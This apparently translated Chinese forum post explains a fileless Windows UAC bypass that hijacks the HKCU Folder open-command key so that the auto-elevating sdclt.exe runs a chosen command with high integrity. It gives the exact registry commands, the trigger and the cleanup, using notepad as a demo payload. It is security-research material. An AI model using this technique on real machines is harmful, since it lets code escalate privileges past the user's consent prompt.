使用 sdclt 绕过 UAC 的新方法

Track-SSG   ·   发表于 2019-01-27 11:06:08   ·   漏洞文章

22.png

1.原理

该方法和其他UAC绕过方法一样,利用了某些会“自动提升权限”的程序。这些程序会以高完整性级别运行,且不会触发UAC窗口的警示窗口。用户以中等权限运行这些程序去加载DLL或执行命令,就可成功绕过UAC。

而此次绕过的关键就在于可执行文件sdclt.exe。Sdclt在Windows系统中的原本作用是备份和还原。你可以使用Windows SysInternals的SigCheck检查它是否会自动提升权限:

sigcheck.exe -m C:\Windows\System32\sdclt.exe | findstr autoElevate 

<autoElevate  xm lns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>

注意:已经有几种滥用sdclt.exe绕过UAC的方法。你可以在Matt Nelson的博客上看到:

https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

我此次说明的这种新方法是无文件,基于COM劫持的。

当以中等权限调用sdclt.exe时,会发生的一些有趣事件:

  • 它以高权限运行另一个sdclt.exe进程

  • 高权限的sdclt进程会调用C:\Windows\System32\control.exe

  • control.exe进程以高权限运行,并且…

  • 33.png

    使用Sysinternals Procmon,我们可以看到control.exe无法在当前用户注册表(HKCU)中找到“文件夹”对象的打开命令。

    但是!因为我的UAC绕过方法不需要写入,所以我们可以让这个高权限的进程去运行命令,即使我们只有中等级别的权限。

    2.开始绕过

    您可以使用一些命令测试一下这个方法。

    先设置注册表:

    reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

    开始绕过:

    %windir%\system32\sdclt.exe

    这时,你就可以看到以高权限运行的notepad.exe。

    44.png

    最后不要忘记用以下方法清理注册表:

    reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f

    谢谢观看!

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
    来源:http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
               


    打赏我,让我更有动力~

    0 条回复   |  直到 2019-1-27 | 1033 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.